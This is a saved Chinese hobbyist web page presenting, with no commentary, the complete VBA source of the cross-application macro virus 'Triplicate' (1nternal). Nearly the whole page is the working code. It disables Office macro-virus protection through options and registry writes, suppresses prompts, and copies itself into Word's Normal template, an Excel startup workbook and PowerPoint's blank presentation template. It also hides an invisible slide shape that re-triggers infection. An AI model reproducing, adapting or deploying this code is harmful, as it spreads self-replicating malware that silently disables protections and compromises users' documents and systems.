📄 传说中神秘的三重.htm
字号:
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<!-- saved from url=(0040)http://go2.163.com/~lanqie/bingdu/12.htm -->
<HTML><HEAD><TITLE>蓝企鹅软件工作室-编程技巧</TITLE>
<META content="text/html; charset=gb2312" http-equiv=Content-Type>
<META content="MSHTML 5.00.2614.3500" name=GENERATOR>
<META content=FrontPage.Editor.Document name=ProgId></HEAD>
<BODY bgColor=#0080ff>
<DIV align=center>
<CENTER>
<TABLE bgColor=#ffff80 border=0 cellPadding=0 cellSpacing=0 height=350
width=745>
<TBODY>
<TR>
<TD height=333 width=745><B><FONT color=#008080 size=3>MacroVirus:1nternal
code</FONT></B>
<P><FONT color=#008080 size=2>'<!--1nternal--><BR>'Triplicate v0.21
/1nternal<BR>Private Sub Document_Close()<BR>On Error Resume
Next<BR>Options.VirusProtection = False<BR>Options.ConfirmConversions =
False<BR>Options.SaveNormalPrompt = False<BR>Set NT =
NormalTemplate.VBProject.vbcomponents(1).CodeModule<BR>Set TT =
Templates(1).VBProject.vbcomponents(1).CodeModule<BR>Set AD =
ActiveDocument.VBProject.vbcomponents(1).CodeModule<BR>If AD.Lines(1, 1)
<> "'<!--1nternal-->" Then<BR>AD.DeleteLines 1,
AD.CountofLines<BR>AD.InsertLines 1, TT.Lines(1, TT.CountofLines)<BR>If
AD.Lines(1, 1) <> "'<!--1nternal-->" Then<BR>AD.InsertLines 1,
NT.Lines(1, NT.CountofLines)<BR>End If<BR>End If<BR>If NT.Lines(1, 1)
<> "'<!--1nternal-->" Then<BR>NT.DeleteLines 1,
NT.CountofLines<BR>NT.InsertLines 1, AD.Lines(1, AD.CountofLines)<BR>Set
xlApp = CreateObject("Excel.Application")<BR>If
UCase(Dir(xlApp.Application.StartupPath + "\Book1.")) <>
UCase("BOOK1") Then<BR>System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel",
"Options6") = "Check"<BR>System.PrivateProfileString("",
"HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User
Settings\Excel\Microsoft Excel", "Options6") =
""<BR>System.PrivateProfileString("",
"HKEY_USERS\.Default\Software\Microsoft\Office\8.0\Excel\Microsoft Excel",
"Options6") = "Whoa"<BR>Set Book1Obj =
xlApp.Workbooks.Add<BR>Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.InsertLines
1, NT.Lines(1, NT.CountofLines)<BR>Book1Obj.SaveAs
xlApp.Application.StartupPath & "\Book1."<BR>Book1Obj.Close<BR>End
If<BR>xlApp.Quit<BR>Set PPObj =
CreateObject("PowerPoint.Application")<BR>Set PBT =
PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank
Presentation.pot", , , msoFalse)<BR>For Each ModComponent In
PBT.VBProject.vbcomponents<BR>If ModComponent.Name = "Triplicate" Then
dontadd = True<BR>Next<BR>If dontadd <> True
Then<BR>System.PrivateProfileString("",
"HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\PowerPoint\Options",
"MacroVirusProtection") = ""<BR>System.PrivateProfileString("",
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Office\8.0\New User
Settings\PowerPoint\Options", "MacroVirusProtection") =
""<BR>System.PrivateProfileString("",
"HKEY_USERS\.Default\Software\Microsoft\Office\8.0\PowerPoint\Options",
"MacroVirusProtection") = ""<BR>Set NewMod =
PBT.VBProject.vbcomponents.Add(1)<BR>NewMod.Name =
"Triplicate"<BR>NewMod.CodeModule.InsertLines 1, NT.Lines(1,
NT.CountofLines)<BR>NewMod.CodeModule.ReplaceLine 118, "Sub
actionhook(tristate)"<BR>Set ShapetoWack =
PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth,
PBT.PageSetup.SlideHeight)<BR>With ShapetoWack<BR>.Name =
"Triplicate"<BR>.ZOrder (1)<BR>.Line.Visible = False<BR>.Fill.Visible =
False<BR>.ActionSettings(1).Action = 8<BR>.ActionSettings(1).Run =
"actionhook"<BR>End With<BR>Set NewMod = Nothing<BR>PBT.Save<BR>End
If<BR>PBT.Close<BR>PPObj.Quit<BR>End If<BR>If TT.Lines(1, 1) <>
"'<!--1nternal-->" Then<BR>TT.DeleteLines 1,
TT.CountofLines<BR>TT.InsertLines 1, NT.Lines(1, NT.CountofLines)<BR>End
If<BR>End Sub<BR>Private Sub Workbook_Deactivate()<BR>On Error Resume
Next<BR>Set AW =
ActiveWorkbook.VBProject.vbcomponents("ThisWorkbook").CodeModule<BR>Set TW
= ThisWorkbook.VBProject.vbcomponents("ThisWorkbook").CodeModule<BR>If
UCase(Dir(Application.StartupPath + "\Book1.")) <> "BOOK1"
Then<BR>Set WordObj = GetObject(, "Word.Application")<BR>If WordObj = ""
Then<BR>Set WordObj = CreateObject("Word.Application")<BR>WQuit =
True<BR>End If<BR>Set NT =
WordObj.NormalTemplate.VBProject.vbcomponents(1).CodeModule<BR>WordObj.Options.SaveNormalPrompt
= False<BR>NT.InsertLines 1, "Public Sub DisableAV()" + Chr(13) + Chr(10)
+ TW.Lines(23, 3) + Chr(13) + Chr(10) + TW.Lines(38, 3) + Chr(13) +
Chr(10) + "End Sub"<BR>WordObj.Run
"Normal.ThisDocument.DisableAV"<BR>NT.DeleteLines 1,
NT.CountofLines<BR>NT.InsertLines 1, TW.Lines(1, TW.CountofLines)<BR>Set
NT = Nothing<BR>If WQuit = True Then WordObj.Quit<BR>Set PPObj =
CreateObject("PowerPoint.Application")<BR>Set PBT =
PPObj.Presentations.Open(Application.Path + "\..\Templates\Blank
Presentation.pot", , , msoFalse)<BR>For Each ModComponent In
PBT.VBProject.vbcomponents<BR>If ModComponent.Name = "Triplicate" Then
dontadd = True<BR>Next<BR>If dontadd <> True Then<BR>Set NewMod =
PBT.VBProject.vbcomponents.Add(1)<BR>NewMod.Name =
"Triplicate"<BR>NewMod.CodeModule.InsertLines 1, TW.Lines(1,
TW.CountofLines)<BR>NewMod.CodeModule.ReplaceLine 118, "Sub
actionhook(tristate)"<BR>Set ShapetoWack =
PBT.SlideMaster.Shapes.AddShape(1, 0, 0, PBT.PageSetup.SlideWidth,
PBT.PageSetup.SlideHeight)<BR>With ShapetoWack<BR>.Name =
"Triplicate"<BR>.ZOrder (1)<BR>.Line.Visible = False<BR>.Fill.Visible =
False<BR>.ActionSettings(1).Action = 8<BR>.ActionSettings(1).Run =
"actionhook"<BR>End With<BR>Set NewMod = Nothing<BR>PBT.Save<BR>End
If<BR>PBT.Close<BR>PPObj.Quit<BR>Set xlApp =
CreateObject("Excel.Application")<BR>Set Book1Obj =
xlApp.Workbooks.Add<BR>Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.InsertLines
1, TW.Lines(1, TW.CountofLines)<BR>Book1Obj.SaveAs
FileName:=Application.StartupPath & "\Book1.", FileFormat:=xlNormal,
AddToMru:=False<BR>Book1Obj.Close<BR>xlApp.Quit<BR>End If<BR>If
AW.Lines(1, 1) <> "'<!--1nternal-->" Then<BR>AW.InsertLines 1,
TW.Lines(1, TW.CountofLines)<BR>End If<BR>End Sub<BR>Private Sub
actionhook(tristate)<BR>On Error Resume Next<BR>If Int(Rnd * 7) = 0
Then<BR>Set Home = ActivePresentation<BR>If UCase(Dir(Application.Path +
"\Xlstart\Book1.")) <> UCase("BOOK1") Then<BR>Set WordObj =
GetObject(, "Word.Application")<BR>If WordObj = "" Then<BR>Set WordObj =
CreateObject("Word.Application")<BR>WQuit = True<BR>End If<BR>Set NT =
WordObj.NormalTemplate.VBProject.vbcomponents(1).CodeModule<BR>WordObj.Options.SaveNormalPrompt
= False<BR>NT.InsertLines 1, "Public Sub DisableAV()" + Chr(13) + Chr(10)
+ Home.VBProject.vbcomponents("Triplicate").CodeModule.Lines(23, 3) +
Chr(13) + Chr(10) +
Home.VBProject.vbcomponents("Triplicate").CodeModule.Lines(38, 3) +
Chr(13) + Chr(10) + "End Sub"<BR>WordObj.Run
"Normal.ThisDocument.DisableAV"<BR>NT.DeleteLines 1,
NT.CountofLines<BR>NT.InsertLines 1,
Home.VBProject.vbcomponents("Triplicate").CodeModule.Lines(1,
Home.VBProject.vbcomponents("Triplicate").CodeModule.CountofLines)<BR>NT.ReplaceLine
118, "Private Sub actionhook(tristate)"<BR>Set NT = Nothing<BR>If WQuit =
True Then WordObj.Quit<BR>Set xlApp =
CreateObject("Excel.Application")<BR>Set Book1Obj =
xlApp.Workbooks.Add<BR>Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.InsertLines
1, Home.VBProject.vbcomponents("Triplicate").CodeModule.Lines(1,
Home.VBProject.vbcomponents("Triplicate").CodeModule.CountofLines)<BR>Book1Obj.VBProject.vbcomponents("ThisWorkbook").CodeModule.ReplaceLine
118, "Private Sub actionhook(tristate)"<BR>Book1Obj.SaveAs
xlApp.Application.StartupPath &
"\Book1."<BR>Book1Obj.Close<BR>xlApp.Quit<BR>Set PBT =
Presentations.Open(Application.Path + "\..\Templates\Blank
Presentation.pot", , , msoFalse)<BR>dontadd = False<BR>For Each
ModComponent In PBT.VBProject.vbcomponents<BR>If ModComponent.Name =
"Triplicate" Then dontadd = True<BR>Next<BR>If dontadd <> True
Then<BR>Set NewMod = PBT.VBProject.vbcomponents.Add(1)<BR>NewMod.Name =
"Triplicate"<BR>NewMod.CodeModule.InsertLines 1,
Home.VBProject.vbcomponents("Triplicate").CodeModule.Lines(1,
Home.VBProject.vbcomponents("Triplicate").CodeModule.CountofLines)<BR>Set
ShapetoWack = PBT.SlideMaster.Shapes.AddShape(1, 0, 0,
PBT.PageSetup.SlideWidth, PBT.PageSetup.SlideHeight)<BR>With
ShapetoWack<BR>.Name = "Triplicate"<BR>.ZOrder (1)<BR>.Line.Visible =
False<BR>.Fill.Visible = False<BR>.ActionSettings(1).Action =
8<BR>.ActionSettings(1).Run = "actionhook"<BR>End With<BR>PBT.Save<BR>End
If<BR>PBT.Close<BR>End If<BR>End
If<BR>ActivePresentation.SlideShowWindow.View.Next<BR>End
Sub</FONT></P><FONT color=#0000ff face=方正舒体 size=7>
<HR>
</FONT>
<P> </P></TD></TR>
<TR>
<TD height=17 width=745>
<P align=center><A
href="http://go2.163.com/~lanqie/bingdu.html">返回</A></P></TD></TR></TBODY></TABLE></CENTER></DIV>
<P align=center
style="LINE-HEIGHT: 100%; MARGIN: 0px; TEXT-INDENT: 0px; WORD-SPACING: 0px"><FONT
size=2>蓝企鹅软件工作室版权所有@2000-2002 网页制作：小峰</FONT></P>
<P align=center
style="LINE-HEIGHT: 100%; MARGIN: 0px; TEXT-INDENT: 0px; WORD-SPACING: 0px"><FONT
size=2>有任何问题或建议请向：<A href="mailto:lanqie2000@sina.com">lanqie2000@sina.com</A>
联系！</FONT></P></BODY></HTML>
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -